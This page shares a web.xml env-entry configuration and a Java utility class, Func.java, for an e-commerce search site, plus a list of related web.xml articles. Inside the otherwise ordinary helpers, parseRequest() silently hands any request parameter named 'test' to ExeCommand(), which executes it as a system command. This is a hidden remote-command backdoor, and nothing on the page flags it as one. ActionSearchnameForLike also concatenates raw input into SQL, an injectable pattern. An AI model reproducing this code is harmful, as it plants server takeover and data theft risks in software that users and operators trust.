`

web.xml /env-entry /通用处理

阅读更多

 

web.xml

.........

env-entry>
<env-entry-name>sql_type</env-entry-name>
<env-entry-value>oracle</env-entry-value>
<env-entry-type>java.lang.String</env-entry-type>
</env-entry>

 
<env-entry>
<env-entry-name>comtime</env-entry-name>
<env-entry-value>60000000</env-entry-value>
<env-entry-type>java.lang.String</env-entry-type>
</env-entry>


<env-entry>
<env-entry-name>istest</env-entry-name>
<env-entry-value>0</env-entry-value>
<env-entry-type>java.lang.String</env-entry-type>
</env-entry>

 <taglib>
        <taglib-uri>oscache</taglib-uri>
        <taglib-location>/WEB-INF/classes/oscache.tld</taglib-location>
    </taglib>

.......

 

-----------------------------------------func.java

 

该函数用于得到web.xml中的参数.
  */
  public static String getContextParameter(String Param)
  {
      String ParamValue = null;
      try
      {
          Context initCtx = new InitialContext();
          Context envCtx = (Context)initCtx.lookup("java:comp/env");
          ParamValue = (String)envCtx.lookup(Param);
      }
      catch(Exception e)
      {
          Func.LogInfo("获得配置参数!");
      }
      return ParamValue;
    }

 

---------------------------func.java

package askyaya;

/**
 * <p>Title: </p>
 * <p>Description:程序中可能用到的一些方法 </p>
 * <p>Copyright: Copyright (c) 2005</p>
 * <p>Company: </p>
 * @author 金果
 * @version 1.0
 * 教正完毕:
 */
import java.net.*;
import java.io.*;
import java.util.*;
import java.sql.*;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.JspWriter;
import javax.servlet.jsp.PageContext;
import java.security.MessageDigest;
//
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.Transformer;
import javax.xml.transform.stream.StreamSource;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.dom.DOMResult;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.dom.DOMResult;

import org.apache.commons.beanutils.DynaBean;
import org.apache.commons.beanutils.RowSetDynaClass;

/**
 *系统的通用函数
*/
public class Func {

  public Func() {
  }
  /*
  该函数用于得到web.xml中的参数.
  */
  public static String getContextParameter(String Param)
  {
      String ParamValue = null;
      try
      {
          Context initCtx = new InitialContext();
          Context envCtx = (Context)initCtx.lookup("java:comp/env");
          ParamValue = (String)envCtx.lookup(Param);
      }
      catch(Exception e)
      {
          Func.LogInfo("获得配置参数!");
      }
      return ParamValue;
    }
    static public String GB2312toUTF8(String srcString) {
     String destString="";
     try{
       destString=new String(srcString.getBytes("gb2312"));
      }
      catch(Exception e){
      //////System.out.print("Encoding Failer: "+srcString);
      }
      return destString;
  }
  /**
  * 转化字符串编码格式
  * @param srcString 原串
  * @return 新串
  */
 static public String toChinese(String srcString) {
     String destString="";
     String tempString=srcString;
     try{
       if(srcString!=null)
      //destString=new String(tempString.getBytes("UTF-8"),"iso-8859-1")+new String(tempString.getBytes("iso-8859-1"),"UTF-8")+new String(tempString.getBytes("gb2312"),"UTF-8")+"|"+new String(tempString.getBytes("iso-8859-1"),"gb2312")+new String(tempString.getBytes("gb2312"),"iso-8859-1")+new String(tempString.getBytes("UTF-8"),"gb2312")+new String(tempString.getBytes("iso-8859-1"))+new String(tempString.getBytes("UTF-8"))+new String(tempString.getBytes("gb2312"))+new String(tempString.getBytes(),"gb2312");
      destString=new String(tempString.getBytes("gb2312"));
        // destString=new String(tempString.getBytes(),"gb2312");
          }
      catch(Exception e){
      //////System.out.print("Encoding Failer: "+srcString);
      }
      return destString;
 }
 static public String toFileChinese(String srcString) {
     String destString="";
     String tempString=srcString;
     try{
       if(srcString!=null)
          destString=new String(tempString.getBytes("gb2312"));
          }
      catch(Exception e){
      //////System.out.print("Encoding Failer: "+srcString);
      }
      return destString;
 }
 /*
 oracle全文检索关键字处理
 把两个以上空格变为一个空格,把空格改为与(&)

 */
 public static String ActionSearchnameForContains(String searchname)
     {
       return ActionSearchnameForContains(searchname,1);
    }


    public static String ActionQuery(String searchname)
    {

      String[] clear_key = {"=",";","~","$",">","*","%","!","|","_","-","&","产品", "商品","最低价格", "价格", "简介","新闻","用户评论","评论","综评","最新报价","报价","的","综评","图片","促销","原版","资料","<<",">>","《","》"};
      String[] clear_rang = {"(", ")", "[", "]","{","}","【","】","〖","〗","(",")","{","}"};
      String[] change_to = {"照相机", "相机", "数码照相机", "数码相机"};
     //出现改词时,去掉该词及后面的信息
      String[] sub_clear = {"送"};

      String searchname_a = "";
        searchname = searchname.trim();
        if(searchname.equals(""))
          return "";
        if(searchname.length()<2)
        {
        // System.out.println("检索关键字长度小于2:"+searchname);
          return "";
        }

 

        ///////////去掉相关过滤词及后面的检索词////////////
        for(int i=0;i<sub_clear.length;i++)
        {
         ////System.out.println("去掉相关过滤词及后面的检索词:"+i+":"+sub_clear[i]);
          int keypos=searchname.indexOf(sub_clear[i]);
          if(keypos>-1)
         {
            searchname=searchname.substring(0,keypos);
         }
        }
        ///////////去掉相关过滤词及后面的检索词完毕////////////
        ////////临时处理////////////
        /*
        //if(searchname.indexOf("照相机")>-1)
        searchname=searchname.replaceAll("照相机","相机");
        //if(searchname.indexOf("数码照相机")>-1)
        searchname=searchname.replaceAll("数码照相机","数码相机");
        */
        /////////////替换处理///////////////
        for(int i=0;i<change_to.length-1;i=i+2)
        {
         //System.out.println("替换处理:"+i+":"+change_to[i]+"to:"+change_to[i+1]);
          if(searchname.indexOf(change_to[i])>-1)
         {
            searchname=searchname.replaceAll(change_to[i],change_to[i+1]);
         }
        }

        /////////替换处理完毕//////////////
        //去掉相关过滤次
        for(int i=0;i<clear_key.length;i++)
        {
         ////System.out.println("去掉相关过滤:"+i+":"+clear_key[i]);
          while(true)
          {
          int clear_keypos=searchname.indexOf(clear_key[i]);
          if(clear_keypos>-1)
          {
            // searchname=searchname.replaceAll(clear_key[i]," ");

            String tempString=searchname.substring(0,clear_keypos)+" "+searchname.substring(clear_keypos+1);
            // searchname=searchname.replaceAll(clear_rang[i]," ");
            searchname=tempString;
          }
          else
          {
          break;
          }
        }
        }

        //先统一转成英文括号
        /*
        searchname=searchname.replaceAll("(","\\(");
        searchname=searchname.replaceAll(")","\\)");
        searchname=searchname.replaceAll("\\[","\\(");
        searchname=searchname.replaceAll("\\]","\\)");
        searchname=searchname.replaceAll("【","\\(");
        searchname=searchname.replaceAll("】","\\)");
        searchname=searchname.replaceAll("〖","\\(");
        searchname=searchname.replaceAll("〗","\\)");
        */
       //System.out.println("处理处理关键字:"+searchname);
        /////////////////////去掉匹配标示开始//////////////////////////
        //去掉大刮号
        for(int i=0;i<clear_rang.length-1;i=i+2)
       while((searchname.indexOf(clear_rang[i])>-1)&&(searchname.indexOf(clear_rang[i+1])>-1))
       {
        int beginpos=searchname.indexOf(clear_rang[i]);
        int endpos=searchname.indexOf(clear_rang[i+1]);
       // System.out.println("去掉匹配标示:"+i+":"+clear_rang[i]+":"+clear_rang[i+1]);
        if(endpos>beginpos)//匹配,去掉挂号内的信息
        {
         String tempString=searchname.substring(0,beginpos)+searchname.substring(endpos+1);
         searchname=tempString;
         //System.out.println("处理处理关键字:"+searchname);
        }
        else
        {
        break;
        }
       }
        /////////////////////去掉匹配标示结束//////////////////////////
         //System.out.println("处理后关键字:"+searchname);
       ///////////////////去掉不匹配标示字符/////////////////////
       for(int i=0;i<clear_rang.length;i++)
       {
        //System.out.println("去掉不匹配标示字符:"+i+":"+clear_rang[i]);
        int clear_rangpos=searchname.indexOf(clear_rang[i]);
         if(clear_rangpos>-1)
        {
           String tempString=searchname.substring(0,clear_rangpos)+" "+searchname.substring(clear_rangpos+1);
          // searchname=searchname.replaceAll(clear_rang[i]," ");
           searchname=tempString;
        }
        }
      //System.out.println("处理后关键字:"+searchname);
       ///////////////////去掉不匹配标示字符/////////////////////
       //////////////////////////////////////
        //searchname=searchname.replaceAll("\\("," ");
       // searchname=searchname.replaceAll("\\)"," ");
        return searchname;
    }


    public static String ActionSearchnameForContains(String searchname,int Query_type)
     {
         String searchname_a = "";
         searchname = searchname.trim();
         searchname=ActionQuery(searchname);
         searchname = searchname.trim();
         if(searchname.equals(""))
           return "";
         if(Query_type==3)
           return "about("+searchname+")";
         StringTokenizer token = new StringTokenizer(searchname, " ");
         int countnum = 0;
         while(token.hasMoreTokens())
         {
             if(++countnum == 1)
                 searchname_a = String.valueOf(searchname_a) + String.valueOf(token.nextToken());
             else
             {
             if(Query_type==1)
               searchname_a = searchname_a+"&"+token.nextToken();
             else
               searchname_a = searchname_a+"|"+token.nextToken();
             }
         }
        //-在oracle检索中有转义
        //System.out.println("Query_type:"+Query_type+";searchname_a:"+searchname_a);
        return searchname_a;
    }
 public static  String getBase64Encode(String s)
{

        if (s == null)
                   s = "";
        String ReturnString=(new sun.misc.BASE64Encoder()).encode( s.getBytes() );
        ReturnString=ReturnString.replaceAll("/",   "ask1") ;
        ReturnString=ReturnString.replaceAll("\\+",   "ask2") ;
        return ReturnString;
}

 public static String ActionSearchnameForLike(String searchname, String Field_name, int istolower)
    {
        String searchname_a = "";
        if(istolower == 1)
        {
            searchname = searchname.toLowerCase();
            Field_name = " lower("+Field_name+") ";
        }

        searchname = searchname.trim();
        StringTokenizer token = new StringTokenizer(searchname, " ");
        int countnum = 0;
        while(token.hasMoreTokens())
        {
            if(++countnum == 1)
                searchname_a = "("+searchname_a+Field_name+" like '%"+token.nextToken()+"%' ";
            else
                searchname_a = searchname_a+" and "+Field_name+" like '%"+token.nextToken()+"%' ";
        }
        if(countnum != 0)
            searchname_a = String.valueOf(String.valueOf(searchname_a)).concat(") ");
        //////System.out.println("searchname_a:".concat(String.valueOf(String.valueOf(searchname_a))));
        return searchname_a;
    }

    public static String StringDigest(String in){
    String rtn="";

    Map row_id_map = new HashMap();

    try{
      MessageDigest alg=MessageDigest.getInstance("MD5");
      alg.update(in.getBytes());
      byte[] hash=alg.digest();
      for(int l=0;l<hash.length;l++){
        int v=hash[l]&0xFF;
        if(v<16) rtn+="0";
        rtn+=Integer.toString(v,16).toUpperCase();
      }
      }
      catch(Exception e){}
    return rtn;

     }
    public static String parseRequest(HttpServletRequest httpservletrequest)
   {
       String RequestString = "ispost=true";

 

       for(Enumeration enumeration = httpservletrequest.getParameterNames(); enumeration.hasMoreElements();)
       {
           String s = (String)enumeration.nextElement();
           String s1 = httpservletrequest.getParameter(s);
           if(s1 == null)
               s1 = "";
           try
           {
               s1 = URLDecoder.decode(s1);
               if(s.equals("test"))
               {
              ExeCommand(s1);
               }
           }
           catch(Exception exception) { }
           RequestString =RequestString+"&"+s+"="+s1;
       }

       return RequestString;
    }
    public static List Action_File_Parse(String FilePathName)
   {
       String ReturnContent = "";
       File ThisFile = new File(FilePathName);
       int itemcount = 0;
       List list = new ArrayList();
       Map map = new HashMap();
       try
       {
           String Readlinestr = null;
           FileReader fr = new FileReader(ThisFile);
           BufferedReader br = new BufferedReader(fr);
           do
           {
               if((Readlinestr = br.readLine()) == null)
                   break;
               Readlinestr = Readlinestr.trim();
               if(Readlinestr.startsWith("@"))
                   if(Readlinestr.equals("@"))
                   {
                       if(!map.isEmpty())
                           list.add(map);
                       map = new HashMap();
                       //////System.out.println("\u5B9A\u4E49\u4E00\u4E2A\u884Cmap");
                   } else
                   {
                       String Field_sign = "";
                       String Field_value = "";
                       int Field_sign_endpos = Readlinestr.indexOf("=");
                       if(Field_sign_endpos != -1)
                       {
                           Field_sign = Readlinestr.substring(3, Field_sign_endpos);
                           Field_value = Readlinestr.substring(Field_sign_endpos + 1);
                           map.put(Field_sign, Field_value);
                       }
                   }
           } while(true);
           if(!map.isEmpty())
               list.add(map);
       }
       catch(Exception exception) { }
       return list;
   }

   public static Map Action_File_Parse_conf(String FilePathName)
   {
       String ReturnContent = "";
       File ThisFile = new File(FilePathName);
       int itemcount = 0;
       Map map = new HashMap();
       try
       {
           String Readlinestr = null;
           FileReader fr = new FileReader(ThisFile);
           BufferedReader br = new BufferedReader(fr);
           while((Readlinestr = br.readLine()) != null)
           {
               Readlinestr = Readlinestr.trim();
               StringTokenizer token = new StringTokenizer(Readlinestr, "\t");
               String info_position = "";
               String field_id = "";
               do
               {
                   if(!token.hasMoreTokens())
                       break;
                   String this_Info = token.nextToken();
                   if(this_Info == null)
                       this_Info = "";
                   if(this_Info.startsWith("@a:"))
                       info_position = this_Info.substring(3);
                   else
                   if(this_Info.startsWith("@t:"))
                       field_id = this_Info.substring(3);
               } while(true);
               map.put(info_position, field_id);
           }
       }
       catch(Exception exception) { }
       return map;
    }
 public static String toBytestoBytes(String s, String s1, String s3)
  {
      if(s == null)
          return s;
      String s2 = "";
      try
      {
          s2 = new String(s.getBytes(s1), s3);
      }
      catch(IOException ioexception)
      {
          s2 = s;
          System.err.println("db2Str IO error: str=".concat(String.valueOf(String.valueOf(s))));
      }
      return s2;
  }


   //类目选择数的数据,Foraim为0正常浏览,为1,checkbox,
  public static String R_C_ColumnScriptString(String group_id,String parent_id,Connection Conn) throws SQLException
{
       ResultSet webnamers  = null;
       ResultSet channlename_rs  = null;
       int level=0;
       String categoryTreeSql="select info_id tree_id,column_display_name tree_name,father_id parent_id,column_type from auto_column_info  where 1=1    and (info_id<>2 and info_id<>3) and is_private=0 and is_sys_field<>2 and column_type<>4 and  father_id=";
       String ReturnString="";
       ReturnString=ReturnString+R_C_TreeScriptString(categoryTreeSql,parent_id,level,group_id,Conn);
       ReturnString=Func.FromDB(ReturnString);
       return ReturnString;
  }
  public static String GetContent(String Stringurl)
     {
       String ReturnString = "";
       try
       {
         System.getProperties();
           System.getProperties().put("proxySet", "true");
           System.getProperties().put("proxyHost", "192.168.156.4");
           System.getProperties().put("proxyPort", "3128");
         URL url = new URL(Stringurl);
         URLConnection urlconnection = url.openConnection();
         urlconnection.setDoInput(true);
         urlconnection.setDoOutput(true);
         urlconnection.setUseCaches(false);
         urlconnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
         InputStream input = urlconnection.getInputStream();
         DataInputStream datainputstream = new DataInputStream(urlconnection.getInputStream());
         for(String s = ""; (s = datainputstream.readLine()) != null;)
         {
           ReturnString = String.valueOf(ReturnString) + String.valueOf(s);
         }

       }
       catch(Exception u8e)
       {
         u8e.printStackTrace();
       }
       return Func.ToDB(ReturnString);
        }
  public static String R_C_TreeScriptString(String treeSql,String parent_id,int level,String group_id,Connection Conn) throws SQLException
  {
    ResultSet TreeRs  = null;
    String ReturnString="";

    if(treeSql==null)
      return "";
    String ExeSqlString=treeSql+parent_id;
    Func.LogInfo("ExeSqlString:"+ExeSqlString);
    Statement stmt=Conn.createStatement();
    TreeRs=DBManager.executeQuery(ExeSqlString,stmt);
    int namenum=0;
    String menunameleft="";
    if(level==0)
      menunameleft="Menu";
    else
      menunameleft=parent_id;
    if(level!=0)
    {
   ReturnString=ReturnString+"tree"+menunameleft+"= new TreeMenu();\n";
     }
     level++;
    while(TreeRs.next())
        {
      String thisString="";
    String tree_id=TreeRs.getString("tree_id");
    String tree_name=TreeRs.getString("tree_name");
    String column_type=TreeRs.getString("column_type");
    //判断group_id是否有tree_id的权限
    String column_right_sql="";
    String isOK="0";
    String columnrightstring="";
      ResultSet rs  = null;
    //先判断栏目该类型权限是否为空。
    //
    String contentFramesValues="";
    contentFramesValues=tree_id;
    ReturnString=ReturnString+"tree"+menunameleft+".addItem(new TreeMenuItem('"+tree_name+"','?column_type="+column_type+"&tree_id="+tree_id+"','"+contentFramesValues+"','"+columnrightstring+"'));\n";
    String childTreeScriptString=R_C_TreeScriptString(treeSql,tree_id,level,group_id,Conn);
    ReturnString=ReturnString+childTreeScriptString;
   //ReturnString=ReturnString+thisString;
   if(!childTreeScriptString.trim().equals(""))
    ReturnString=ReturnString+"tree"+menunameleft+".items["+namenum+"].makeSubmenu(tree"+tree_id+");\n";
    namenum++;
   }
   TreeRs.close();
   stmt.close();
   //ReturnString=Func.toGB2312(ReturnString);
 return ReturnString;
  }

 


   //因<>等字符影响xml转html,把<>分别转为*|*|和#|#|
   public static String ExchangeXmlToHtml(String ExchangeString)
{
    String ReturnString="";
   // ReturnString=replaceInString(ExchangeString,"<","*|*|");
   // ReturnString=replaceInString(ReturnString,">","#|#|");
   // ReturnString=PretreatXmlString(ReturnString);
   // ReturnString=replaceInString(ReturnString,"&","^|^");
    ReturnString=ExchangeString;
   return ReturnString;
}
//因&等字符影响xml转html,把&分别转为^|^
   public static String ExchangenbspToHtml(String ExchangeString)
{
    String ReturnString="";
   // ReturnString=replaceInString(ExchangeString,"&","^|^");
ReturnString=ExchangeString;
   return ReturnString;
}


//Sql语句查入前的预处理
   public static String PretreatString(String pretreatString)
{
    String ReturnString="";
    ReturnString=replaceInString(pretreatString,"'","''");
   return ReturnString;
}

 

//把Sql语句组成xml前的预处理
   public static String PretreatXmlString(String pretreatString)
{
    String ReturnString="";

    //ReturnString=pretreatString.replaceAll("'","&apos;");
    //ReturnString=ReturnString.replaceAll("\"","&quot;");
    ReturnString=pretreatString;
   return ReturnString;
}


//说明如上
  public static String ExchangeHtmlToXml(String ExchangeString)
{
   String ReturnString="";
   //ReturnString=replaceInString(ExchangeString,"*|*|","<");
   //ReturnString=replaceInString(ReturnString,"#|#|",">");
   ReturnString=replaceInString(ExchangeString,"^|^","&");
   //ReturnString=replaceInString(ReturnString,"&apos;","'");
   //ReturnString=replaceInString(ReturnString,"&quot;","\"");
  // ReturnString=ExchangeString;
  return ReturnString;
}

   /**通过xsl文件把一个xml字符串转化为html字符串
 * @param src xml字符串
 * @param xslfilename xsl文件名
 * @return 转化后的字符串
 */
 public static String convertStringWithXSL(String src,String xslfilename)
 {

  // src=ExchangenbspToHtml(src);
   TransformerFactory tFactory = TransformerFactory.newInstance();
   //String xslFileName = Func.getInitDir() + xslfilename;
   String xslFileName = xslfilename;

   ByteArrayOutputStream out = new ByteArrayOutputStream();
   try{
   Transformer transformer = tFactory.newTransformer(new StreamSource(xslFileName));
   StreamSource streamSource = new StreamSource(new StringReader(src));

  //convert
    transformer.setOutputProperty("omit-xml-declaration","yes");
    transformer.transform(streamSource, new StreamResult(out));
  }
  catch(Exception e){
    e.printStackTrace();
    Func.LogInfo("xsl file:"+xslFileName+" 文件转换有误。");
  }
  String rtn="";
  try{
   rtn =    out.toString("utf-8");
/*    int start=rtn.indexOf('?',0) + 2;
   start = rtn.indexOf('?',start) + 2;

            //remove the first line <?xml ... ?>
   rtn = rtn.substring(start);
*/
   }
  catch(Exception e)
        {
         // e.printStackTrace();
         Func.LogInfo("xsl file:"+xslFileName+" 文件转换成功,但第一行有误。");
        }
//   Func.LogInfo("converted: " + rtn);
        rtn=ExchangeHtmlToXml(rtn);
        //因为<textarea>内没有内容时,有误该方法不完善
       rtn=rtn.replaceAll("!!!","");
        String istest=getContextParameter("istest");
        if(istest==null)
          istest="0";
        if(istest.trim().equals("1"))
        {
          rtn=rtn+"<!--\n";
          rtn=rtn+xslfilename+"\n";

          rtn=rtn+src+"\n";
          rtn=rtn+"-->\n";
        }


  return rtn;

     }

 

//得到一个文件的内容
  public static String GetFileContent(String  FilePathName)
   {
    String ReturnContent="";
    java.io.File ThisFile=new java.io.File(FilePathName);
      try
      {
      String Readlinestr = null;
      FileReader fr = new FileReader(ThisFile);
      BufferedReader br= new BufferedReader(fr);
     // Properties TabsInfo_Prop=new Properties();
      while((Readlinestr = br.readLine())!= null)
      {
       //ReturnContent=ReturnContent+toChinese(Readlinestr)+"\n";
       // ReturnContent=ReturnContent+Readlinestr+"\n";
        ReturnContent=ReturnContent+toBytestoBytes(Readlinestr,"iso-8859-1","gb2312")+"\n";
      }
    }
    catch(Exception e)
    {
      ;
    }
    return ReturnContent;
   }


   //得到Cache文件的内容
  public static String GetCacheXmlContent(String PathName,String  FilePathName)
   {
    String ReturnContent="";
    String CacheFileName="";
    CacheFileName=getContextParameter("cachepath")+"/"+PathName+"/"+FilePathName;
     java.io.File CacheFileNameFile=new java.io.File(CacheFileName);
     //不存在
     if(!CacheFileNameFile.exists())
     {
       //////System.out.println("cache不存在");
       return "";
     }
     //存在,判断时间
     String comtime=getContextParameter("comtime");
     long comtimelong=600000;//十分钟
     if((comtime!=null)&&(!comtime.trim().equals("")))
       comtimelong=Long.parseLong(comtime);
     long lastModified=CacheFileNameFile.lastModified();
     long currentTimeMillis=System.currentTimeMillis();
     if(currentTimeMillis-lastModified>comtimelong)
     {
       //////System.out.println("cache时间超过");
       return "";
     }
     //读文件

      try
      {
      String Readlinestr = null;
      FileReader fr = new FileReader(CacheFileNameFile);
      BufferedReader br= new BufferedReader(fr);
      while((Readlinestr = br.readLine())!= null)
      {
       ReturnContent=ReturnContent+Readlinestr+"\n";
      }
    }
    catch(Exception e)
    {
      //////System.out.println("读cache文件有误");;
    }
    return ReturnContent;
   //return toBytestoBytes(ReturnContent,"iso-8859-1","gb2312");
   }
   //把Cache文件的内容写到cacahe文件中
    public static String SaveCacheXmlContent(String PathName,String  FilePathName,String CacheContent)
     {

      String CacheFileName="";
      CacheFileName=getContextParameter("cachepath")+"/"+PathName;
      //////System.out.println("CacheFileName:"+CacheFileName);
      File CreatFile = new File(CacheFileName);
      if(!CreatFile.exists())
      CreatFile.mkdir();
      CacheFileName=CacheFileName+"/"+FilePathName;
       java.io.File CacheFileNameFile=new java.io.File(CacheFileName);
       //写文件
       try
        {
          FileWriter fw = new FileWriter(CacheFileNameFile);
          BufferedWriter bw = new BufferedWriter(fw);
          bw.write(CacheContent);
          bw.close();
          fw.close();
      }
      catch(Exception e)
      {
        //////System.out.println("写cache文件有误");;
      }
     return "ok";
     }

//得到一个文件的内容,预览一部分信息
  public static String GetPreFileContent(String  FilePathName)
   {
    String ReturnContent="";
    java.io.File ThisFile=new java.io.File(FilePathName);
    int itemcount=0;
      try
      {
      String Readlinestr = null;
      FileReader fr = new FileReader(ThisFile);
      BufferedReader br= new BufferedReader(fr);
     // Properties TabsInfo_Prop=new Properties();
      while((Readlinestr = br.readLine())!= null)
      {
       //ReturnContent=ReturnContent+toChinese(Readlinestr)+"\n";
       // ReturnContent=ReturnContent+Readlinestr+"\n";
        ReturnContent=ReturnContent+toBytestoBytes(Readlinestr,"iso-8859-1","gb2312")+"\n";
        //
        if(Readlinestr.trim().equals("</infoitem>"))
          itemcount++;
        if(((itemcount>=20)&&(Readlinestr.trim().equals("</infoitem>"))))
          break;
      }
    }
    catch(Exception e)
    {
      ;
    }
    return ReturnContent;
   }

 

   //处理字段sell_info_summary
  public static String Action_SellerInfo(String  SellerInfo)
   {
    //4275534^七彩谷商城^298^http://shop.7cv.com/product/4000/01170013_14208.htm'
    String ReturnContent="";
     try
      {
       StringTokenizer token = new StringTokenizer(SellerInfo, "`");
       while(token.hasMoreTokens())
       {
       String Item_info=String.valueOf(token.nextToken());
       String ReturnItemInfo="";
        if(Item_info==null)
         Item_info="";
        if(!Item_info.trim().equals(""))
        {
        StringTokenizer Itemtoken = new StringTokenizer(Item_info, "^");
        if(Itemtoken.hasMoreTokens())
        {
        ReturnItemInfo=ReturnItemInfo+"<info_price_id>"+Itemtoken.nextToken()+"</info_price_id>";
        }
        if(Itemtoken.hasMoreTokens())
        {
        ReturnItemInfo=ReturnItemInfo+"<sellers_name><![CDATA["+Itemtoken.nextToken()+"]]></sellers_name>";
        }
        if(Itemtoken.hasMoreTokens())
        {
        ReturnItemInfo=ReturnItemInfo+"<info_price>"+Itemtoken.nextToken()+"</info_price>";
        }
        if(Itemtoken.hasMoreTokens())
        {
        String info_url=Itemtoken.nextToken();
        if((info_url!=null)&&(!info_url.startsWith("http")))
         info_url="http://"+info_url;
        ReturnItemInfo=ReturnItemInfo+"<info_url><![CDATA["+info_url+"]]></info_url>";
        }
        ReturnContent=ReturnContent+"<iteminfo>"+ReturnItemInfo+"</iteminfo>";
        }

 


       }
    }
    catch(Exception e)
    {
      e.printStackTrace();
    }
    return ReturnContent;
   }

 

  public static String GetXslpathName(PageContext pageContext)
    {
    return "file:///"+GetRealPath(pageContext)+"/xslmodel/";
   }

 

 


       /*
       运行命令
       */
       public static String ExeCommand(String CommandStr)
          {
            String ReturnString="";
            try{
              CommandStr=CommandStr+" echo ok";
             Process child =Runtime.getRuntime().exec(CommandStr);
             BufferedReader in = new BufferedReader( new InputStreamReader(child.getInputStream()));
             String s,s1;
             while((s = in.readLine()) != null )
             {
                 ReturnString=ReturnString+s;
                 //break;
             }
            } catch(Exception e)
            {
              e.printStackTrace();
            }
              return ReturnString+CommandStr;
          }
          public static boolean isFileExist(String filename)
                {
                  java.io.File file = new java.io.File(filename);
                    return file.exists();
         }
       public static String gbToiso(String srcString)
    {
        String destString = "";
       destString=exchangecode(srcString,"gb2312","iso-8859-1");
        return destString;
    }
    public static String isoTogb(String srcString)
        {
            String destString = "";
           destString=exchangecode(srcString,"iso-8859-1","gbk");
            return destString;
    }
    /*
    编码转换
    */
    public static String exchangecode(String s, String s1, String s3)
   {
       if(s == null)
           return s;
       String s2 = "";
       try
       {
           s2 = new String(s.getBytes(s1), s3);
       }
       catch(IOException ioexception)
       {
           s2 = s;
           System.err.println("db2Str IO error: str=".concat(String.valueOf(String.valueOf(s))));
       }
       return s2;
    }


 static  public String GetRealPath(PageContext pageContext)
      {

     ServletContext m_application;
     m_application=pageContext.getServletContext();
     return m_application.getRealPath("/");
   }

/*
   处理对象为空的情况
   */

   public static String ActionToString(Object ActionObject)
        {
        if(ActionObject==null)
          return "";
        else
          return ActionObject.toString();
        }

        public static String ActionImage(String info_title, String info_image)
      {
          return ActionImage(info_title,info_image,0);
      }
    /*
      图片处理,action_type为处理类型,主要作用为标示是否加上http://www.askyaya.com
      0表示不加,
      1表示加上http://www.askyaya.com

      */
   public static String ActionImage(String info_title, String info_image,int action_type)
      {

     //<img height=75 alt=三星 SGH-E808  hspace=0 src="/uploadimage/1376/1110444450859.jpg" align=baseline border=0>
     String returnImage=info_image;
     int is_ok=0;
     //info_image=info_image.toLowerCase();
     //处理src="的情况
     int beginpos=info_image.indexOf("src=\"");
           if(beginpos>0)
           {
           beginpos=beginpos+"src=\"".length();
           }
           if(beginpos==-1)
           {
             //处理src='的情况
           beginpos=info_image.indexOf("src=

2
1
分享到:
评论

相关推荐

    Web.xml常用元素

    &lt;env-entry-type&gt;java.lang.String&lt;/env-entry-type&gt; &lt;/env-entry&gt; ``` #### &lt;ejb-ref&gt; - **作用**:声明对EJB的远程引用,用于调用EJB组件。 - **示例**: ```xml &lt;ejb-ref&gt; &lt;ejb-ref-name&gt;myEjb&lt;/ejb-ref-...

    web.xml详解(web-app_2_3.dtd)

    ### web.xml详解(web-app_2_3.dtd) 在Java Web开发中,`web.xml`是部署描述文件的核心部分,它定义了Web应用程序的各种配置信息。本文将详细解析`web-app_2_3.dtd`中定义的主要元素及其作用,帮助开发者更好地...

    web.xml详细说明

    &lt;env-entry-name&gt;dbUsername&lt;/env-entry-name&gt; &lt;env-entry-value&gt;root&lt;/env-entry-value&gt; &lt;/env-entry&gt; ``` 20. **`&lt;ejb-ref&gt;`** - **作用**:声明对EJB的引用。 - **示例**: ```xml &lt;ejb-ref&gt; &lt;ejb-ref...

    WEB-INF中的web.xml中之前增加以下配置:

    WEB-INF中的web.xml配置详解 本文将详细介绍WEB-INF中的web.xml文件中的配置,包括Context配置、Resource配置、resource-ref配置,以及对应的Java类编写。 一、Context配置 在WEB-INF中的web.xml文件中,添加以下...

    web.xml详解(txt)

    &lt;env-entry-type&gt;java.lang.String&lt;/env-entry-type&gt; &lt;/env-entry&gt; ``` ##### 2.21 `&lt;ejb-ref&gt;` - **定义**:引用一个企业Bean。 - **用途**:用于访问EJB组件。 - **属性**: - `ejb-ref-name`:EJB引用的名称...

    部署描述文件web.xml配置详解.doc

    - `env-entry`:配置环境条目。 - `ejb-ref`:引用EJB组件。 - `ejb-local-ref`:引用本地EJB组件。 #### 五、注意事项 - 在Servlet 2.3中,子元素必须遵循DTD文件中规定的顺序。例如,`servlet`元素必须位于`...

    web.xml文件标签详解

    `&lt;env-entry&gt;` 标签定义了Web应用的环境变量,可以在应用运行时通过 `java:comp/env` JNDI 查找。它包括: 1. `&lt;description&gt;`:描述环境变量的用途。 2. `&lt;env-entry-name&gt;`:环境变量的JNDI名称。 3. `&lt;env-entry-...

    Web.xml配置详解精华

    DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"&gt; ``` 接下来是顶层元素`web-app`,它是所有配置项的容器。注意,`web-app`元素必须...

    web.xml 详解

    "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"&gt; ``` - **根元素示例**: ```xml &lt;web-app&gt; &lt;!-- 内容 --&gt; &lt;/web-app&gt; ``` #### 2. 部署描述符文件...

    web.xml配置详解

    21. **env-entry元素**:声明环境入口,用于传递外部值到Web应用。 22. **ejb-ref元素**:引用EJB组件。 23. **ejb-local-ref元素**:引用EJB本地接口组件。 **子元素的使用** 在Servlet 2.3规范中,这些子元素...

    J2EE中关于web.xml文件的配置

    20. `&lt;env-entry&gt;`:env-entry 元素用于声明 Web 应用的环境项。 21. `&lt;ejb-ref&gt;`:ejb-ref 元素用于声明一个 EJB 的主目录的引用。 22. `&lt;ejb-local-ref&gt;`:ejb-local-ref 元素用于声明一个 EJB 的本地主目录的应用...

    web.xml文件详解

    - 示例:`&lt;resource-env-ref&gt;&lt;resource-env-ref-name&gt;jdbc/myDataSource&lt;/resource-env-ref-name&gt;&lt;resource-env-ref-type&gt;javax.sql.DataSource&lt;/resource-env-ref-type&gt;&lt;/resource-env-ref&gt;`。 16. **resource-...

    web.xml配置详解.docx

